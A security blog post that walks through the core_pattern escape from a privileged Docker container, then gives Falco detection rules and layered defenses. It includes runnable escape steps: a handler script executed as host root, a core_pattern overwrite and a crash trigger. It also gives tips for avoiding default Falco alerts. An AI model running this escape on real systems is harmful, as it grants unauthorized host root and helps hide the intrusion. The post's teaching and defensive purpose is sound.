Intro
This post starts a new series: Container Escapes. Each post takes one escape technique and follows it through the same three phases: attack (run the escape), detect (watch it happen with runtime tooling), defend (the controls that stop it). One technique per post, start to finish.
It follows my earlier container posts, which were about building isolation from scratch (namespaces, cgroups, capabilities, seccomp). This series is about breaking that isolation when it is configured wrong, and then putting it back together.
First technique: the core_pattern escape from a privileged container. A few reasons I picked it to open the series. It is not a CVE, it has been public since around 2019, and it still works on a default Docker install. It also shows a specific kernel behavior clearly: sometimes the kernel runs a userspace program on your behalf, as root, and that becomes a problem when a container can choose which program.
Threat model
The single misconfiguration is a privileged container.
docker run --privileged ...
--privileged is a bundle, and this escape only needs a few items from it. It is worth being exact about what has to be true for the write to turn into host code execution. Four gates plus a trigger, all of which --privileged provides at once:
- A writable
/proc/sys. The escape writes/proc/sys/kernel/core_pattern.--privilegedmounts/proc/sysread-write. A default container mounts it read-only, and the write fails withEROFSbefore any permission check runs. - uid 0 as the host sees it.
core_patternis owned by root with mode0644, and the sysctl permission check hands the owner bits to the global root uid. A container withoutuserns-remapruns as that uid, so ownership carries the write. A container withCapEff: 0000000000000000opens the file for writing.CAP_SYS_ADMINapplies one step earlier, to remounting a read-only/proc/sys. - AppArmor allowing the write. On Debian and Ubuntu the
docker-defaultprofile denies writes under/proc/sys/kernel, and it holds even with every capability granted and/proc/sysmounted read-write.--privilegedruns the container unconfined. Hosts using SELinux have no equivalent rule here. - The handler runs in a usable host context.
call_usermodehelperruns the named program as real host root in the host’s namespaces. The attacker points it at a path inside the container’s overlayupperdir, which is a real directory on the host. Withuserns-remapthe daemon refuses to start a privileged container at all, so nothing reaches this stage. - A core dump can be triggered. The handler only runs when a process actually dumps core, so the attacker needs to crash something with a core-generating signal (
SIGSEGV,SIGABRT).
The syscalls involved are few:
openat(2)pluswrite(2)on/proc/sys/kernel/core_pattern, to arm the escape.openat(2)pluswrite(2)to drop the handler script.- the crash itself, either a process that faults on its own or a
kill(2)withSIGSEGVagainst an existing one.
[!] This does not apply to a default container. A default Docker container mounts
/proc/sysread-only and keeps the AppArmor profile that denies writes under/proc/sys/kernel. The write fails withEROFSbefore the handler ever comes up. The attack assumes the privilege was already handed over.
A privileged container can escape in several ways. This post covers one of them, core_pattern, because the mechanism is easy to follow end to end.
Background: how the kernel runs programs for you
Usermode helpers
Most of the time the flow is one-way: your process asks the kernel to do things through syscalls. In a few places the kernel needs to run a userspace program to finish a job, and it runs that program from kernel context, as root, in the host’s namespaces. This mechanism is called a usermode helper (call_usermodehelper in the source).
x86 defines four privilege rings. Linux uses only two: ring 3 for user code and ring 0 for the kernel. A syscall crosses from ring 3 into ring 0, a process asking the kernel to act. A usermode helper crosses the other way: the kernel, running in ring 0, spawns a fresh ring 3 process itself, as root, in the initial namespaces.
Some examples that share this pattern:
/proc/sys/kernel/modprobe: the program run when the kernel auto-loads a module./sys/fs/cgroup/.../release_agent: the program run when a cgroup empties (cgroup v1). This is the older container escape./proc/sys/kernel/core_pattern: the program run to handle a core dump.
Each one is a file whose contents are a command the host kernel will execute as root. If a container can write one of these files and then trigger the matching event, it runs code on the host. release_agent is cgroup v1 only and mostly gone on modern systems. core_pattern does not depend on cgroups and is still present everywhere.
All three funnel through the same kernel machinery. call_usermodehelper takes a path and arg vector and hands them to a helper kthread, which is a child of kthreadd (the kernel’s thread spawner) and therefore runs as root in the initial namespaces, not in whatever container triggered it:
// kernel/umh.c
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;
return call_usermodehelper_exec(info, wait);
}
release_agent takes exactly that path. The core-dump path (do_coredump in fs/coredump.c) uses the two halves directly: when core_pattern begins with | it parses the rest into argv, calls call_usermodehelper_setup() with an extra init callback, umh_pipe_setup, and passes the result to call_usermodehelper_exec(). The callback is what connects the dump to the handler’s stdin. Either way path is attacker-controlled, and the process it launches never sees the container.
core_pattern and core dumps
When a process crashes with a core-generating signal (SIGSEGV, SIGABRT, and others), the kernel can write a memory image called a core dump. Where it goes is controlled by /proc/sys/kernel/core_pattern.
$ cat /proc/sys/kernel/core_pattern
core
That is the default: dump to a file called core. The value has a second mode. If it starts with a pipe |, the kernel executes the program named after the pipe and streams the core dump to its stdin instead of writing a file.
# "on any core dump, run /usr/bin/handler with these args"
|/usr/bin/handler %p %s %e
The % tokens are substitutions (%p = pid, %s = signal, %e = exe name). The relevant behavior is that the kernel executes the program.
[!] Systems using systemd-coredump, and WSL2 in my case, already ship a pipe handler by default. The pipe syntax is how core dumps are routed on most machines today.
Why it crosses the container boundary
Two facts make this an escape:
core_pattern is a single host-global kernel setting. It is not namespaced, so there is one value for the whole machine, containers included. And the handler it names runs in the host’s context: host mount namespace, host PID namespace, real host root.
So a process inside a container that can write /proc/sys/kernel/core_pattern is editing the host’s own setting. The next core dump anywhere, including one the attacker triggers inside the container, makes the host kernel execute the attacker’s program as root, outside the container.
Attack
Lab setup
Throwaway VM, default Docker. Do not run this on anything you care about, since it rewrites a host-global kernel setting.
# confirm this is a default docker: overlay2 storage, no userns-remap
$ docker info --format '{{.Driver}} {{.SecurityOptions}}'
overlay2 [name=seccomp,profile=builtin name=cgroupns]
[!]
name=usernsmust not be present. With userns-remap enabled the daemon rejects the container before it starts:privileged mode is incompatible with user namespaces. You must run the container in the host namespace when running privileged mode. I cover this in the Defend section.
Save the host value so we can restore it:
$ cat /proc/sys/kernel/core_pattern | sudo tee /root/core_pattern.orig
Start the vulnerable container:
$ docker run --rm -it --privileged ubuntu:22.04 bash
Recon
First step inside an unknown container: check how restricted you are. No external tool needed, just /proc.
# how many capabilities do we hold?
root@ctr:/# grep CapEff /proc/self/status
CapEff: 000001ffffffffff
000001ffffffffff is the full set, every capability Docker grants, which points at a privileged container. The sysctl write itself needs none of them. What the capabilities buy here is the option to remount /proc/sys read-write if you find it read-only.
# is /proc/sys writable? (the second precondition)
root@ctr:/# : >> /proc/sys/kernel/core_pattern && echo writable
writable
: >> opens the file for append and writes nothing, so the host value stays as it is. A default container answers Read-only file system. Under an AppArmor profile the answer is Permission denied.
Both preconditions are met: the host’s own uid 0 and a writable /proc/sys.
The escape
Three steps: drop a payload, tell the kernel to run it on the next core dump, then cause a core dump.
1. The payload. A script that, when run by the host kernel as root, records enough to prove it ran on the host, and leaves the output where the container can read it.
cat > /handler.sh <<'EOF'
#!/bin/sh
{
echo "handler ran as: $(id)"
echo "host uname: $(uname -a)"
echo "host /etc/hostname: $(cat /etc/hostname)"
echo "host PID1: $(tr '\0' ' ' < /proc/1/cmdline)"
echo "host / listing: $(ls /)"
} > /OUTPUT_PLACEHOLDER/proof.txt 2>&1
EOF
chmod +x /handler.sh
2. Find where the container’s filesystem lives on the host. The container root is an overlay mount, and its writable layer (upperdir) is a real directory on the host. We can read its host path from our own mount table:
UPPER=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
echo "$UPPER"
# /var/lib/docker/overlay2/<hash>/diff
sed -i "s#/OUTPUT_PLACEHOLDER#$UPPER#" /handler.sh
[!] The
upperdirworks in both directions. A file the host handler writes to$UPPER/proof.txtappears inside the container at/proof.txt, because that directory is the container’s writable layer. It is the same file under two paths.
3. Arm and fire. Point core_pattern at the handler using its host path, then crash a process.
echo "|$UPPER/handler.sh" > /proc/sys/kernel/core_pattern
# a tiny program whose only job is to segfault
printf 'int main(){*(volatile int*)0=0;return 0;}' > /crash.c
apt-get install -y gcc >/dev/null 2>&1
gcc -o /crash /crash.c
ulimit -c unlimited
/crash
/crash dereferences a null pointer, the kernel starts a core dump, sees the pipe in core_pattern, and runs our handler as host root.
[!] On a default host the
#!/bin/shhandler works, because the usermode helper can resolve/bin/sh. If dmesg showspipe failed, compile a static binary instead and pointcore_patternat that ELF, which needs no interpreter. That is what happened to me on WSL2.
Proof
Read the file back from inside the container:
root@ctr:/# cat /proof.txt
handler ran as: uid=0(root) gid=0(root) groups=0(root)
host uname: Linux debian-lab 6.1.0-... x86_64 GNU/Linux
host /etc/hostname: debian-lab
host PID1: /sbin/init
host / listing: bin boot dev etc home lib ... root run sbin srv sys tmp usr var
Those are the host’s hostname, the host’s init as PID 1, and the host’s root listing.
dmesg covers only the failure case. The kernel logs a line when the helper cannot be executed:
$ dmesg | tail -1
Core dump to |/var/lib/docker/overlay2/<hash>/diff/handler.sh pipe failed
That line means the handler never ran. A successful run logs nothing, so /proof.txt above is the confirmation.
Detect
If you defend systems, the useful question is whether you would have seen this happen. So I put Falco in front of the same attack. Falco is a CNCF runtime-security tool that taps the kernel through an eBPF probe and matches syscall activity against rules.
Default rules
I ran Falco with only its stable default ruleset and repeated the attack. It fired:
{
"priority": "Notice",
"rule": "Terminal shell in container",
"output": "... process=bash container_image=ubuntu:22.04 ...",
"source": "syscall"
}
{
"priority": "Critical",
"rule": "Drop and execute new binary in container",
"output": "... command=gcc -o /crash /crash.c ... container_name=peaceful_kare ...",
"tags": [
"PCI_DSS_11.5.1",
"TA0003",
"container",
"mitre_persistence",
"process"
]
}
It caught the bash shell, and it caught gcc/as/ld//crash under “Drop and execute new binary in container” (one alert per compiler stage).
What it did not catch was the write to /proc/sys/kernel/core_pattern. The action that performs the escape produced no alerts. Launch Privileged Container did not fire either, because that rule ships in the incubating maturity tier, which the stable ruleset does not load.
Those side effects, compiling and running a new binary, come from how I wrote the PoC, and they are easy to remove. Ship a static prebuilt crasher and there is no compiler step. Crash an existing base-image process (kill -SEGV on something already running) and there is no new binary. In that case default Falco produces no alerts while the escape still works.
A rule that catches the mechanism
The escape is the write to core_pattern, so that is what the rule should watch: the file itself.
- rule: Write to core_pattern from container
desc: >
A process inside a container opened /proc/sys/kernel/core_pattern for write.
core_pattern is a host-global sysctl whose pipe handler the kernel executes
as root on any core dump. Writing it from a container is a privileged-container
escape primitive (T1611). Stable Falco default rules do not cover this file.
condition: >
open_write and container
and fd.name = /proc/sys/kernel/core_pattern
output: >
core_pattern modified from inside a container
(file=%fd.name proc=%proc.cmdline user=%user.name
container=%container.name image=%container.image.repository:%container.image.tag)
priority: CRITICAL
tags: [container, escape, mitre_privilege_escalation, T1611]
It reuses Falco’s built-in open_write macro, scopes to container, and matches the one path that matters. I added a second, broader rule for the same class (modprobe and release_agent, the other usermode-helper files), so the coverage is not tied to a single path.
Load it:
docker run --rm -i --privileged \
-v /var/run/docker.sock:/host/var/run/docker.sock \
-v /dev:/host/dev \
-v /proc:/host/proc:ro \
-v /etc:/host/etc:ro \
-v "$PWD/core_pattern_rule.yaml:/etc/falco/rules.d/core_pattern.yaml:ro" \
falcosecurity/falco:latest \
falco -o json_output=true -o json_include_output_property=true \
2>&1 | tee ~/falco-round2.json
Run the escape in the other shell, Ctrl-C Falco, then pull the one line:
grep core_pattern ~/falco-round2.json
Now it gets it:
{
"priority": "Critical",
"rule": "Write to core_pattern from container",
"output": "core_pattern modified from inside a container (file=/proc/sys/kernel/core_pattern proc=bash user=root container=naughty_neumann image=ubuntu:22.04)",
"output_fields": {
"fd.name": "/proc/sys/kernel/core_pattern",
"proc.cmdline": "bash",
"container.image.repository": "ubuntu",
"container.image.tag": "22.04",
"user.name": "root"
},
"source": "syscall",
"tags": [
"T1611",
"container",
"escape",
"mitre_privilege_escalation"
]
}
The escape now raises a CRITICAL alert, on the echo > core_pattern line, tagged T1611 (MITRE: Escape to Host).
Detection gaps
Being clear about what the rule covers:
- It matches the open-for-write, so it fires the moment
core_patternis opened for writing, before any crash is triggered. - It will not catch a write through a path that does not resolve to
/proc/sys/kernel/core_patternas Falco sees it (bind-mount tricks, for example).
Falco alerts after the write happens, so it does not stop the escape.
Defend
The single misconfiguration
Everything traced back to one flag: --privileged. Remove it and every gate from the threat model closes at once. The first defense is simple: do not run privileged containers. Most workloads do not need it.
“Do not misconfigure it” is not enough on its own. Defense in depth means the escape should fail even if one layer is wrong. Here is what each independent control does to this specific attack.
Layered defenses
To land this escape an attacker needs a writable /proc/sys, the host’s own uid 0, no LSM rule covering /proc/sys/kernel, and a handler path the kernel can reach. Removing any one of these breaks it. Dropping CAP_SYS_ADMIN covers a narrower case, remounting a read-only /proc/sys. The userns-remap row is the one that stopped me by accident: my WSL2 Docker had it enabled, so the daemon refused the privileged container until I forced --userns=host.
Defaults done right
Here I will point to my own runtime, bctor, which is the reason this series exists. bctor is a from-scratch container runtime I have been building to learn these primitives. Its design rule is that every isolation control is on by default, and weakening it must be an explicit opt-in.
Against this escape, a default bctor container:
- drops
CAP_SYS_ADMINand every other capability, so the sysctl write is denied, - mounts
/procread-only and masks the sensitive paths, so there is nothing to write, - installs a seccomp profile, removing the neighbouring escape syscalls,
- sets
no_new_privs.
The first two stop this write outright. The last two do not touch this path, but they close the neighbouring escapes and harden the rest. None can be turned off without an explicit flag.
Conclusion
core_pattern is a 20-year-old kernel feature doing what it was designed to do, run a program on a core dump, abused by a container that was given too much privilege. That makes it a good example to learn from:
- The attack is short once you see that
core_patternis host-global and theupperdirmaps both ways. - The detection is a lesson on its own: the default ruleset caught the noise around my PoC and missed the escape. Useful detection watches the mechanism.
- The defense is layered: a read-only
/proc/sys, an LSM rule over/proc/sys/kernel, and userns-remap each stop this write on their own, while seccomp andno_new_privsclose the neighbouring escapes.
Next in the series I will take another escape through the same attack, detect, defend cycle.
Check the repo: BCTOR GITHUB REPO
Follow me if this was useful. Hope you liked it! :)
References
https://github.com/elastic/detection-rules/issues/6216
https://pwning.systems/posts/escaping-containers-for-fun/
https://man7.org/linux/man-pages/man5/core.5.html
https://falco.org/docs/
https://attack.mitre.org/techniques/T1611/